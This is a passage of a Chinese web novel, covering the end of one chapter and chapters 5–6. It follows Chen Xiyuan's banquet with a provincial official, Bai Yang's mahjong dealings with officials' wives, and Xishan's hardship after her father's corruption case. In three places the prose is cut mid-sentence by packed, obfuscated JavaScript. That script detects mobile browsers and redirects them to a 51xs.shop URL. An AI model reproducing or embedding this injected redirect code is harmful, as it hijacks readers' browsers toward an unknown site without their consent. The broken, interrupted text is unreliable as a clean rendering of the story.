况且他一夜没怎么合眼,在飞机上睡得也并不安稳,黄品源的那句歌词,“最爱你的人是我,你怎么舍得我难过?”一直在他脑子里面打转儿。现在确实需要找个地方下榻。 陈西原决意再等两天,于是开始在手机上查起来澄州的一些酒店,软件弄得一个比一个花里胡哨,大同小异的评分,用户体验,让人光是看着就头晕目眩。 他最怕麻烦,秉持着两条原则,挑贵的,挑近的,金钱总不会骗人。 看好酒店,开始挑选交通工具,一抬头,前面几个出租车司机已经如狼似虎地盯着人了,第一个人迎上来,他立马定下,报了地址。 司机像护崽子一样把他扯到身后,对付笑两声,说:“您先等等,我再拉一个人。” 陈西原的脸有些沉了下来,最后实在不知道说什么好,扯着嘴角无奈笑笑,他也没想到,自己有一天能掺和到这些缠身琐事里头。 “现在走,三倍。”陈先生大手一挥,花钱买舒坦。 师傅笑逐颜开,帮忙推着箱子就带人上了车。 车里的空调风吹得很猛,陈西原的头更疼了,配上音响里爆裂的DJ舞曲,跟上刑也没什么太大的区别了。 他闭上眼,脑子里又想起那句爱来爱去,难过不难过的歌词,跟个鬼影子似的缠上了他。 忘记第一次认识鞭长莫及是什么时候,但真正体会到它是在这一天,哪怕在北京时再呼风唤雨,到了澄州,也就是个人生地不熟的外乡人。 尤其是司机喜好跟人聊天,说到激动处就难免忘了他这个外乡人的身份,冷不丁冒出两句粤语出来,他一直不理会,闭眼假寐,眉头紧锁。 他之前不是没来过澄州,但时间久远到全然忘记,如果就把这次当作初体验的话,陈西原想,他不会在这里待上太长时间。 那天他在酒店睡了一整天,房间的温度和湿度都控制地适宜,让人能够酣然入梦。 梦里回荡着一首甜腻柔软的粤语歌,女孩的发音并不标准,原本凄婉的哀乐也被她唱的欢快无比。 她扒着他的耳朵轻唱。 一生何求,迷茫里永远看不透,没料到我所失的,竟已是我的所有。冷暖哪可休,回头多少个秋。寻到了却偏失去,未盼却在手。我得到没有,没法解释得失错漏。 陈西原恍然从梦中惊醒,脑子里一片混沌,歌词仍然清晰,只是看不清也想不起,梦里的姑娘是何种模样了。 然而无需他人点醒,他明了的知道,那是白杨。 心脏像是被人泡进水里再提起来,湿哒哒,沉甸甸,还带着溺水时对氧气的渴求。 澄州这个城市还真是够邪性的,八百年前的烂账本也能让人从心底里翻出来,再咂摸一遍,品味品味当初欠债时的,心境。 陈西原摸出烟盒,里面只剩下可怜的一根烟。 他把最后一根咬在嘴里,黑沉沉的房间里,燃起一簌火苗,烟头明暗之间,某些地方似乎得到抚慰。 他清醒了很多,走到窗边拉开窗帘,仍然没有光再透进来,玻璃窗外也是沉沉黑夜,高楼向下,如同万丈深渊。 他没有刻意压着,就这么顺从梦境的指示回想起了从前。 首先想到的还是白姑娘走的时候,那时候她还小呢,刚刚二十出头的年纪,轻易就掉眼泪。她仰头红着眼对他说:“陈西原你不要拦我,我就是想看看没有你,我能走多远。” 这一切在他眼里不过是幼稚的冲动,他后悔把她保护的太好,至少也要让她看见外面的腥风血雨,才能甘心情愿地留在他身边。 于是陈西原毫不留情地戳破,温柔耐心地诱哄:“杨杨,你别傻了,就算舍得我,你舍不舍得家里你那些宝贝包,宝贝项链手镯?你忘记了曾经因为一条裙子被人说是A货时自己是怎么哭的了?你想一想,和我在一起之前你过得什么样的生活,再想一想,现在还能不能吃的了那个苦。” 白姑娘动摇了。 于是他坐在沙发里静静观望,等她想通,等她回头。 长久的沉默过后,是她很平静的一个问句,她问他:“陈西原,我们会结婚吗?” 他怔住了,怔愣的那一秒,让白姑娘动摇的心安定下来。 她在一个夜晚离开,舍弃曾经爱惜的名牌金银,连他给她的所谓“分手费”也不要,大有彻底划清界限的架势,赤条条来去无牵挂的,那时他就知道她还没长大。 真的要想,白杨这几年的生活应该可以预见,飞黄腾达也好,嫁做人妇也罢,总要遍体鳞伤个一段时间。 毕竟是曾经真心喜爱过的姑娘,固然惋惜,固然心疼。 可要说不舍得,却也没有多少。那是她自己选的路,她得要自己负责。 陈西原手里的烟很快抽完,只够时间回忆一场梦境。他开了灯,烟头捻灭在烟灰缸里,抬手翻看着手机里的消息。 几条可回可不回的来信,看了两眼就丢在一旁。 他在心烦意乱中迅速捕捉到那根剪不断,理还乱的关键线头,想明白了,一切迎刃而解。 陈西原意识到,自己很想弄明白一件事,白杨,你现在过得怎么样? * 进庙烧香,请神也得烧香。陈西原和高厅长的局约在九月中旬,满汉楼里。 陈西原就那么过去,九月的澄州热气依旧不散,他也仅仅穿了件衬衫,袖子挽到半截,手腕上空荡荡,从不戴表。 对于这位高厅长,他也仅限于有所耳闻,两人没有实打实的见过面,说来也是巧,高厅长调任北京的那段时间他一直国外,等回了国,这位的香还没烧上人就要走了。 这次听说他来澄州办事,自然也要卯足了劲给伺候好。 陈西原被侍者带着,推开房间的门,满屋人都一个挨着一个站了起来,有的西装革履,有的清正廉洁,他扫过一眼,摆摆手让都坐下。 主座旁边的就是那位高厅长,穿了件浅蓝色衬衫,四十出头的样子。让陈西原印象最深刻的是他那双被皱纹坠下眼皮的双眼,看东西时,跟鹰隼一样盯着人。还有那张嘴,上下唇瓣很薄,紧紧抿在一起,快要成了一条线。 这些年他也算阅人无数,打眼一看能看出人是个什么皮什么骨,高厅长这样的,手上绝对干净不了。 不能太沾了。 “二哥,我跟您介绍。”高厅长率先叫出声,又站了起来,满座里面只说了一个人,他旁边的一个穿蓝色西装的男人,四十多岁,看面相不像是南方人。 “这是蓝玉集团的总经理,李善文。” 李善文也站了起来,弯腰同他握手,没敢叫他二哥,只说一句:“陈先生,久仰久仰。” 陈西原这人让上天赏了一副好相貌,鼻骨高挺,唇角微扬,有几分像当年火遍亚洲的黎天王,就连不笑的时候也极具温和,只是隐隐带一分疏离。 他同样回应,打量了一眼这个李善文,戴着副无框眼镜,脸型偏阔,眼尾稍长,说话周到,这就张罗着让秘书给他倒酒来了。秘书小苏也是个盘靓条顺的大姑娘,但做事穿着都得体,让人挑不出错。 这么一来,陪酒有了,买单有了,我们高厅长还是该廉洁廉洁,该清明清明。 果然,能做生意的和能当官的,都不是一般人。 陈西原抿了半口酒,放下酒杯,鸿门宴也开席了。 房间里搁着一块屏风,画着千里江山图,他刚开始来的时候并没怎么注意,听见里面隐隐约约穿出来拉琴吹箫的声音才注意到,后面也有乾坤呢。 他摇晃了晃杯里的酒,听满座上的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283148|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾巴狼吊着嗓子谈澄州的发展,政治不必谈,大谈经济,文化,谈历史底蕴。 然后明里暗里给陈西原递话,他说什么旁人都说深刻,再进一步说不准要开会研讨一下。他在心里忍着,差点要笑。 谁说南方人不会打官腔来着。 最后,他们谈的差不多了,陈西原伸手从口袋里抽出一根烟,咬进嘴里,李善文使了个眼色,秘书姑娘立马过去,在他跟前蹲下,那个姿势,正好够他遍览身前风光。姑娘拿出打火机,伸手护着,却怎么都点不着火。 滑轮把拇指都磨红了,急得姑娘差点也要哭。那双眼睛无助地望着他,噙着泪,怪招人疼的。 房间里静下来,满座男人的目光落在她身上,高厅长和李善文的脸色已经阴沉了下来。 陈西原心底叹口气,到底是心善,伸手握住姑娘的手,手把手,跟她一块点了烟。 火苗燃起的一刹,小秘书终于松了口气,红着脸和眼道歉:“不好意思陈先生。” 陈西原赏脸笑了笑,抚慰道:“不打紧,苏小姐这么年轻,估摸着也不抽烟。” 苏秘书朝他投过去感激的目光,又不好意思地低下眼:“是没怎么抽过,陈先生见笑了。” “不抽的好,姑娘家抽烟对身体不好。” 突如其来的这一出,桌上的几个人眼观鼻鼻观心,心中有了点数。 陈西原抽了一口烟,继续说他的话,转过头面对上高李两人:“高厅长,听说澄州的玉石生意不错啊?” “这个确实是,澄州文化在那儿吗,我们这儿还有著名的玉石一条街。”高厅长点了点头,又问,“二哥这是也对这东西感兴趣了?” “这倒不是,我那边有个长辈看上块玉,谁知道晚了一步,被你们澄州的哪位商人给拍走了。”陈西原说道,“你说,我们做孝子贤孙的,长辈有心愿还能不尽量满足吗?这不是,就求到高厅长您这儿来了。” “二哥,您这话说得我可担不起。”高厅长笑两声,扯了个乐:“您既然开口要了,上刀山下火海也得找来啊。” 还算不卑不亢。 陈西原伴着笑了两声,也就到这儿了。 局挺快就散了,临别时李善文特地吩咐苏秘书去送他。 等把人送出了门,李善文才开始低声低气地问高厅长:“大哥,这姓陈的什么来历,您都得叫他声二哥?” 高厅长暗声一笑,“别人叫他二哥可还不一定接呢。你也知道他姓陈。” 李善文有些不明所以:“什么意思?” “我调任那段时间,听过这么一句话。”他顿了一瞬,接着道:“四九的金银,不动的陈。” 陈西原压根没醉,桌上没人敢劝他的酒,就那么半杯,开车都不成问题,哪至于让人送。这塞人的意思太亮堂了,差点闪着他的眼。 陈西原说实话挺糟心这么做的,送人跟送牲口似的,衣服一脱,没说两句话就开始直奔主题,怪糟践人。 所以等苏秘书给他开车送到公寓楼下时,他没再让人继续跟着上楼。 “我自己上去就成,天也晚了,苏小姐回吧。” 苏秘书挽着他的胳膊,声音甜腻:“陈先生,您喝了酒,还是我送您上去吧。” “你这姑娘,怎么说不听呢?”陈西原的声音有些无奈,放在他这身份地位,对个女人无奈,那就是宠溺了,“回去吧,早点休息休息。” 苏秘书有点愣愣的。 他伸手,从口袋里拿出一个东西,扯过苏秘书的手,握在她手里,硬硬的,凉凉的。 是个金属打火机。 陈西原说:“回去好好学学,下回点烟可没人等你这么长时间。” 他转身上了楼,洗完澡睡下,整合整合今天的情形,这么看着,放在哪儿,水都浅不了,乌烟瘴气,难怪该整治整治了。 要是那位高望津高厅长真的找到了玉,那么他是不介意给人提个醒的。 至于小苏秘书这姑娘,看情况吧,在他这里,待价而沽。 5. 第 5 章 这还是溪山第一次来澄州,也是第一次来中国此南之境,下飞机时,她们正遇上了秋老虎还没走,穆霖阿姨被热得头上往外冒细汗,不安地问白杨:“澄州一直这么热吗?” 白杨说:“过去这一阵就好了,阿姨您不用担心。” 她其实没敢告诉她,等到澄州冷下来,才是真的磨人。寒气跟从骨头缝里钻出来的一样,再多的衣服也抵不住。 出了机场,已经有人在等她们了。 江迎接过她们手里的两个行李箱,问白杨:“老板,向阳路那边的房子收拾好了,我们去那儿吗?” 白杨点了点头,过去帮穆霖阿姨箱子放到了后备箱里。 “阿姨,您到了那儿缺什么再告诉我,你和溪山就安心在这儿住下吧,到时候我到您那儿蹭饭可别把我赶出去啊。” 溪山接过话:“看你吃多少了,吃得多肯定要撵你。” 这一路上氛围还算轻松,白杨一直担心溪山承受不住,到这儿也算松了一口气。澄州的生意她也得赶快接手,这两天一直都是江迎替她挡着,不能总这么下去。 送完溪山回去的路上,白杨接到了一个电话,来电显示着高太太。 她接起来,高太太就在那边问她回没回澄州,想约着一起打麻将的呀。她应了下来,直接约了下午。 上午对付吃了两口东西,走了走货,再回家换身衣服,直接去了高太太家里。 阿姨来给开了门,她换好鞋子,还没进屋就听见麻将在桌上滚动的声音。高太太尤其爱好打麻将,其他几个太太也或多或少有点,但她是唯一一个在家里还专门分间房做麻将室的。 高太太家里的房子并不算特别的宽敞奢华,但讲究却也不少。钱都花在设计上了,看着不怎么打眼的一块小踢脚石,就可能是个想不到的数。窗帘上的一块缎布,也须得是某某国家原装进口的。 白杨近些年见识得多了,也开始逐渐领略。 那间麻将室的门没有关严,往外泻出来的不只有麻将碰撞的声音,还有里面或富态或娇俏的女人的笑声。白杨听着这笑,迈步款款走了出去,也换上一副笑脸。 “高太太,我这刚回澄州就奔着您这儿来了,您可得让我两把。” 高太太正在码着牌,闻言回过了头,脸上立刻笑了起来:“白老板啊,快来快来,你过来给我当当军师,看我这把能不能杀她们个片甲不留。” “哎呀,你们两个也好意思,高太太加上白老板,是你俩打牌打得好,我们其他人直接认输好了。”说话的是孙太太,自己是大学老师,丈夫也身居要职。她说完,干脆将手一摊,位置让出来,“正好我也打累了,白老板来替我吧,你们俩去打擂台。” 白杨顺势坐在了位置上,开始码牌闲谈。 几个女人凑在一起,话题就比较紧密,不像男人那么假大空,左手世界格局,右手经济腾飞。她们只聊一些琐事。 高太太问她:“白杨啊,你北京那边的事处理好了吗?” “差不多了。”白杨说道,忍不住叹了口气,“我那位朋友的父亲前段时间突发心梗去世了,触景生情的,她就辞了北京的工作,也来澄州了。” 房间里几人也都跟着唉声叹了口气,说什么造化弄人。 “就是说呀,这两天还得忙着找工作。”白杨丢出一张白板,不动声色地观察着房间里众人的神情。 这些人里不是富太太就是官太太,有时候动动嘴皮子就能省不少麻烦。 白杨这些年就是,靠着这上面的关系也走了不少捷径。 她话一说完,就有人开口问了:“白杨,你那朋友是做什么工作的?” “是做主持人的。”白杨说道,“前段时间的那个《2014》访谈节目,就是她主持的。” “我想起来了,是不是那个叫魏溪山的呀?”高太太问,“小姑娘从原先那个台辞职了?还怪可惜的……” “哎,这不是没办法吗。” “白杨,你说她最近在找工作是吗?”高太太眼睛亮了一下,白杨的眼睛也跟着亮了一下,不错耳地听着,“我回头帮你问一下我们家老高能不能帮上忙吧,我还挺喜欢看她节目的。” “高太太,您说,我怎么谢您好呢?”白杨有些激动地欣然一笑,眼睛都要弯了起来。 “让我多赢你两圈牌就好了呀。”高太太没去看她,伸手摸了一张牌,“哎哟,听牌了。” 白杨坐她下家,恰巧丢出一个北风,高太太胡牌。 高太太笑着嗔怪一声:“你这精丫头——” 这场牌一直打到太阳落山时,夕阳光透着西边的窗洒下来,鲜红一片。这也是高太太选这间房做麻将室的原因,西窗一道红光照,旺风水。 几位太太家里都有孩子,也就纷纷告辞,白杨是最后一个走的,临走时高太太还亲自下去送她:“白杨啊,你明天有时间就再来我们家一趟吧,小安这孩子,就喜欢吃你做的栗子蛋糕,我做都不成,我也好跟你学学。” “您这话说得,小安既然喜欢吃我就多做点。”白杨道,和她在门外分别。 上了车,忍不住燃起一根烟,这几年日子过好了,烟也从前几年的大前门变成了黄鹤楼,每次抽起来的时候,还真有一种翻身农奴把歌唱的感觉。 这上面的路也不是多么好走,起码不能算是一帆风顺。她得上得厅堂,也还要下得厨房。 高太太以前也不是那么待见她的。以前她找关系结识了这位高太太,却还不配上她的麻将桌,听她一句,后面花圃里的土都被晒得结块了,就顶着大太阳去给人松土。 别人笑高太太:“人家好歹也是个老板,就这么给你当园丁啦?” 她在麻将桌上丢着牌说:“她愿意干就干呗,商人嘛,都是贱骨头的。” 士农工商,当官的都不怎么看得上这些做生意的。尤其是那种半大不小的生意。求到高太太跟前的人那么多,人家凭什么给你卖面子? 她话说得也没错,商人,是挺贱骨头的。 真正上了高太太的牌桌也就是一年前的事,高太太的弟弟得了白血病,需要骨髓配型,一家人都不合适,本来是有个合适的愿意捐的,后来不知道怎么又反悔了。 白杨从澄州跑到哈尔滨,找个那个人,大冬天的,零下十几度,见到人直接跪下哭,说家里就这一个独苗,爸妈都走了,俩人自小相依为命,一把鼻涕一把泪,连着好几天,在人家报警之前把自己给冻进了医院,那人也看不过去,收了白杨二十万,最后还是同意捐。 那段时间膝盖被冻伤了,晚上疼得睡不着觉,两三天就得去一趟医院打封闭。打针也疼,尤其是药水被推进血管的时候,疼得她把舌头都咬的发麻。 白杨那时候就想,要是还不成,她也就认了。 人心也都是肉长的,高太太等弟弟做完手术就来看她了,见到她的第一句话就是,白杨,你厉害,我服了你了。 白老板的名号在太太圈抬了起来。她的生意从此在澄州畅通无阻。 走到现在,也算是一部带着血泪的发家史。陈西原曾经为她挡住的风风雨雨,她是见识了个十成十。 烟抽完半根,她朝着车窗外掸了掸烟灰,发动了车子。 黑夜压下来,街上行人不减,这里不比北地,南方人夜里一两点有时还能灯火通明,尤其澄州,就是座不夜城。 她在北京奔忙那么些时日,回到澄州也没休整就进了牌局,说不累是假的。 车开到了间茶楼,她进去对付吃了点东西,顾及着开车没敢喝酒,只叫了杯茶。楼下的姑娘小伙扮上了相,转着嗓子唱曲。 她倚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283149|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨花木的椅子上闭眼跟着哼两句,放松下不少。来这儿也就是听个曲,喝点茶,能少想两件烦心事。 白杨今年二十七了,她十八岁和陈西原在一起,二十一岁离开,到现在已经六年。 离开那年她就和现在的溪山一样,没有任何过渡,被命运无情地从一个世界抛向另一个世界,茫然无措地接受迎面而来的一切。滚滚江水里沉浮,是上岸还是淹死,都得各凭本事。 摸爬滚打,遍体鳞伤,到现在汲汲营营,到了曾经望眼欲穿的位置,所得的感觉竟然只是无聊。 她的手有一下没一下的点在桌子上,这一次如果不是为了溪山回去北京,她都几乎不会再回想起陈西原这个名字了。 可一旦想了,动了心思,就和得病了一样,病来如山倒,病去如抽丝。 白杨从心底长长地呼出一口气,杯子里的茶已经凉了,她没有再添热水,把凉掉的六安瓜片茶喝进肚子里,掸了掸身上尘灰,抬脚走了出去。 茶楼的旁边是家酒店,高档的不像话,停在前面的车都得是百万级的。 白杨没着急上车,顿在门前又点了根烟,她的头发低低挽着,有些松垮,经风一吹,鬓边的一缕黑发就垂了下来。 她把烟盒收好,伸手撩起那缕头发别在耳后,一侧眼,就挪不开了。 不远处酒店的门前站着一对璧人,女孩挽起男人的手,被男人轻轻拂开,又牵过来,轻轻说了什么。 男人给姑娘打开了车门,把她送进去,自己抬脚进了酒店。倒像是正人君子。 白杨怔在原地,那个身影太熟悉,只可惜被夜色模糊了面目,隔着霓虹灯散发出来的光晕,浑然一片,宛在梦中。 她太努力的想看清,身影就越是朦胧。 直到车走人散,她的目光仍然顿在那里。这样的熟悉,该是那位故人? 烟慢慢燃烧,不觉间,带给手指一阵刺痛的灼热,她下意识扔掉了烟,也就是在那一个,脑子里没由来扯出一个人名:陈西原。 她仓惶一笑,又仓惶地上了车,出了这片繁华的街道就立马死踩油门。白杨不知道她在逃什么,车子一路飞驰,进了小区,停进地库里,她才发现自己的心脏在猛烈的跳动着,像是听到了某种呼唤,激动的想要冲破胸腔。 这样深刻的实感,只有陈西原带给过她。 那个人到底是不是已经无从考究,白杨只觉得是自己看错了,毕竟脸都没有看清楚,更何况,人家北京的爷,哪舍得南下呢。 她回到家洗完澡,往佛龛里点了两只香,坐在梨花木的椅子上捻了捻一串佛珠,这东西是她前几年收的,新疆的籽料墨玉,据说在西藏的藏传佛教下被人供奉了七天七夜的香火,特别灵验。 她没什么心愿要许,也不信对着珠子许两个愿就万事大吉了,就只在烦心的时候揉两下,图个心安。 怎么想起陈西原,就跟做了亏心事似的呢?她又他妈的没偷没抢。 这样不行白杨。她这么告诉自己。 委顿片刻,她起身从酒柜里拿了瓶酒,给自己倒了一杯,满饮入胃。 辛辣的感觉一直从喉头过渡到胃里,像一团火在灼灼的,灼灼的燃烧,烧的她难舍难分,痛不欲生。如果再这么见到陈西原,她觉得她理应放声哭一场,可现在已经没什么泪好流了,她清楚地知道,自己已经不是白姑娘,是白老板。 那么他呢,他还在那里,做他的陈先生。 房间里满溢礼佛香的味道,这种香的制料特殊,加了合欢花和远志,有安神的效用。 她一路上绷紧的心弦终于放松一点,黑沉沉的墨玉转在手中,最初的冰凉已然不复存在,沾上她的温度。白杨重重吐出一口浊气,抬手拨出去一个电话,号码很快接通,她问了那边一句:“后天有空吗?跟我去寺庙拜拜。” 6. 第 6 章 程砚没想到这么晚会接到她的电话,以为是什么事,竟然是拜佛。 “怎么了白老板,”他淡声笑笑,“谁惹你这么不安宁了?” 白杨说没谁,就是保佑保佑自己升官发财走大运。 程砚笑意更深了:“您这还不够顺啊,澄州那么多做玉石生意的,叫的上名号的能有几个?” “名号是最没用的。”白杨说,又问了一遍,“有空吗?正好溪山的事还没谢你。” “后天没空,我要去昆明。接了一大富豪的离婚案,我得去昆明抓二奶。”程砚顿了顿,继续说,“魏小姐的事,我虽然是承你的情,但你也用不着谢我。” 白杨眯了眯眼:“你什么意思?” “溪山可以自己来谢我。”他说,语气里暗含笑意。 她滞了一下,很快明了他是什么意思,冷嗤了一声:“随你。” 电话挂断,白杨忍不住感叹,程砚还真是,一如既往地鸡贼。 程砚是勉强算是个律师世家出身,只是可惜这个“世家”没给他带来任何帮助。他爸以前是律师,他妈也是,俩人的生意加起来勉强够过活日子的,接的案子不是碰瓷酒驾就是仙人跳这种下三滥的,吃喝都费劲。 后来他妈去世,他爸就直接找了个庙出家了。 程砚长大,也做了律师,有了爸妈的教训,绝对不打一般的民事官司,捞不着油水,主要就是作刑辩的,接经济案和职务犯罪这种案子。要么就是像现在,暴发户的离婚案。 这种案子钱多,尤其是职务犯罪,稍微一抖落都是十几二十万的。但也有一定的风险,曾有个律师打赢了官司,对家不干,半夜一板砖敲下去,整个人就废了。 白杨和他两人的交际圈很多重叠的,认识也是自然而然的事,没事就是你给我介绍个资源,我给你牵一条人脉,更何况,还难得的志趣相投,一个比一个拜金,狼和狈就这么相熟了。 程砚是什么德行她很清楚,但喜不喜欢,发不发展,都是溪山自己的事情,她无权决议。 曾经她也是会彻夜帮好友痛骂渣男的,怎么如今变成这样?白杨脑子有些混乱,又忍不住想到那个让他不能安宁的人。是陈西原。是陈西原教给她,她在他的身边,耳濡目染。 白杨叹了一口气,在这股无可抵抗的思潮下缴械投降。 烧香拜佛,不容迟疑。 * 溪山这几天都不是那么如意,她没想到,澄州的主持人或者新闻主播记者种种,除了基本的之外,还有一个不寻常的要求,要会讲粤语。 她来澄州这么多天,连一句“雷好啊”都说不顺嘴,更别提捏着播音腔讲一口纯正的粤语了。 她也只能退而求其次,面试助理,编辑,终于在澄州台得到一个工作,说得好听是助理,实际上做的也就是跑腿打杂儿的活。和她大学毕业的工作没什么差别,人生兜兜转转,又被打回到了起点。 尤其是还有不少人认识她的脸,问起来怎么不在北京反而到澄州做助理了,溪山一时都哑口无言。 怎么讲?说我爸被双规,我受连带责任,被打入凡尘了。 这话说不出口。 母亲还是和以前一样,富太太做习惯了,生活环境一变,就忍不住挑剔这个挑剔那个,又是说澄州天气不好,又是说澄州太潮湿,转来转去,最后还是叹声气:“还是北京好啊。” 溪山说:“妈,我们回不去了。” 每次听到这句话,溪山妈妈还是要抹眼泪,说我知道,我就想想。溪山又说:“以后想也不能想。” “我们跟别人不一样,我爸是犯了错的。” 妈妈听到这句话,抬起头惊讶地望着她,随后站起身,负气走到房间里。溪山知道她妈肯定又要哭上一场了,可惜她现在已没什么闲情逸致去上演你哭我哄的戏码。 她的生活有更紧要的事,紧要到容纳不了人的任何情绪。 人不能坐吃山空,她就那么点死工资,存款虽然还剩挺多,但还得留着买房子。虽说澄州的花销比北京要少不少,可现在不是她一个人,母亲还是一如既往以前的生活作风。 要吃阿胶燕窝,每周要去一趟美容院做养护。她也从不肯去菜市场那样的地方,买菜做饭去超市,动辄就要三五十。不肯和别人挤公交车和地铁,出行务必打车。 这对她们现在的处境而言已经说得上是奢靡了。 以往她从未考虑过的柴米油盐的问题一股脑地袭来,让人手足无措。 溪山开始记账,想着什么时候去跟母亲谈一下,砍掉一些不必要的花销。 然而她却也实在开不了这个口,毕竟她一向这样生活惯了,让她突然的节省,也挺残忍。 溪山想着,再忍忍吧。会好起来的。 她买了个复读机,放在房间里专门练习粤语,雷好啊,唔系港东人等等,可无论说多少遍,还是带点外乡人的口吻。 落魄以来,她的身边也从没这么清净过,曾经北京的朋友一夜之间够的着的够不着的全部断交,会有两个不明所以地问出近况,知道以后也开始消失了。 尽管她知道人情社会就是这样,自己行路本就够艰难了,谁也不想再被拖累,可难免心底还是有点介怀的。 手机里能联系的人不剩几个,白杨算一个。 程砚也是一个。 那天她接到程砚的电话时是有些诧异的,才想起人家帮了这么大的忙自己都还没点表示,属实说不过去,于是连忙接了起来。 客套两句,程砚就开口说了来电的目的:“这次打电话没什么事,就想问问你来澄州这段时间生活怎么样?” “您服务完还带客户回访和售后呢?”溪山问了一句,随后答:“也没什么特别的,就那样吧。” 程砚说:“谁让你是白老板的朋友,可不是一般人,怎么能怠慢。听你这话的意思,是不怎么如意了?” 做律师的,和社会上什么人都打交道,上到达官显贵下到市井小民,牛鬼蛇神见得多了,什么没练出来,就是练就了一张利口。 两句话,让溪山打破了那层礼貌的疏离。也或许是最近的日子是真的不怎么称心,故而有人来问,就开始往出倒苦水。 “澄州的电视台个个要求会说粤语,没办法,我也只能跟着学了。”溪山说,又哀叹一声:“可是这粤语也太难了!” “这好办,听陈奕迅吗?”程砚问她:“我小时候跟爸妈住潮州,闽南话讲惯了,不太能说粤语,后来天天听陈奕迅,天天看香港电影,也学了七八成。况且你现在人就在澄州呢,说粤语那还不是早晚的事。” “真那么容易?” “你想想你朋友白老板啊,扬州人,现在粤语说得也是真假难辨。” 溪山笑了一声,总算破除点阴霾。 她开始问起白杨:“你认识她的时候,她就是白老板了吗?” 这几年她们交流并不紧密,她对白杨的生活其实知之甚少。只知道六年前她和陈西原断了之后直接南下到了澄州,然后开始做起了生意,满地方跑,落魄时候打电话借过钱。 她二话没说,把自己手里的全部存款打了过去。 再见面,她就成了白老板。 程砚顿了顿,告诉她:“怎么说呢,以前别人叫她白老板,也就是客气客气,也就这两年才是实打实的。” 谈及白杨的发家史,程砚也算目睹过大半成。 他当年给人作助理的时候白杨也还是个菜鸟,有人都指着鼻子跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283150|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说了,澄州,不是你他妈能待的地方。他当时都以为白杨要完了,别人也都是这么想的,谁知道后来这个指着她鼻子骂的人,竟然能亲自给她拉资源。 他当时就知道这姑娘不简单,日后能成大事,于是迅速拉帮结派。而当时还不是白老板的白老板来者不拒。 程砚告诉溪山:“这么跟你说吧,能让我佩服的人没多少,白杨是第二个。” 她顺着他的话往下问:“那第一个呢?” 他隔着电话笑了笑:“是我自己。” “你自己?”溪山很少见身边有人这么夸自己的,哪怕心里这么认为,面上还要含蓄伪装一下。 “是啊。以后有机会再听我的故事吧,魏小姐,现在心情好点没?对我的售后服务满不满意?” 溪山说满意,顺带提了一嘴请他吃饭的话。 程砚说恭候大驾。 这通电话挂断,溪山的心情确实好了不少,只当在澄州新交了个朋友。 她去母亲房间里看了看,她坐在床角,手里是他们一家的全家福。眼圈发红。 溪山坐过去,把母亲手里的照片拿过来,上面魏安国的笑还是温和,敦厚。他长了一副老实人的面相,带一副眼镜,斯斯文文。不要说溪山母女了,哪怕是外人看了这么一张脸,也难以想象是个受贿几千万的贪官。 当时被一件接着一件的事催着的溪山没有时间品味父亲形象坍塌,亲人去世的痛苦,如今天塌地陷地来了。她忘了,母亲无事可做,这样的心境反反复复折磨着她。 她问母亲:“妈,贪官是什么意思,你明白吗?” “我知道,可是……他没有几年就要退休了,怎么就在这个时候?” 溪山叹一口气,有些很铁不成钢:“你应该问问你的丈夫,我的父亲,怎么没能守住底线?他走到现在这个地步,是罪有应得。我们走到现在,也不冤枉。” 她知道刀子不割在自己身上是不知道疼的。母亲失去的不仅仅是一个爱人,还有她的优渥环境,她无处可怪,只能怪那些将魏安国带走的人。 “如果不是白杨,我们现在可真的就流离失所了。”她轻声道,又接着循循善诱似的跟她说,“妈,有些事你得清楚。我不是我爸,现在工作不顺利,工资很少,我们家存款总共是一百三十五万,我们不能一直在人家这儿住着,得有自己房子。一百二十万我留着攒起来,十五万应急,以后我的工资就是我们每月花销,你看呢?” “那有多少?”母亲的声音隐隐透着不安。 溪山报了一个数字,引来她的连声叹气。 如果仅是这些的话,她的生活质量确实是要大打折扣。 溪山的心也被人拧起来一样难受,搂着她轻哄:“妈,你别担心,我在学粤语了,等我说好粤语,往上走一走,还带你逛LV和爱马仕好不好?” “你说的啊?” “我说的。” 母亲终于抹了抹湿润泛疼的眼角,点了点头。 溪山拍了拍她的背,让她早点睡。走出母亲的房间,刚被哄好的情绪又忍不住垂落下来。 都说人到中年不得已,那时候上有老下有小,活的才真是身不由己,怎么她还没到中年,就体会到这种心境了? 长恨此身非我有,何时忘却营营[1]啊。 溪山躺在床上失眠,找了部港片来看,曾经传遍大街小巷的《古惑仔》。 不知道是不是受这部电影的影响,至今的粤港澳地区还残存着一些□□文化,烧香敬神,拉帮结派,拜关二爷。 这点在白杨身上体现的很明显,曾经纯澈机敏的小姑娘,在这里浸泡洗涤六年,也是满身江湖气,一身的人情世故。 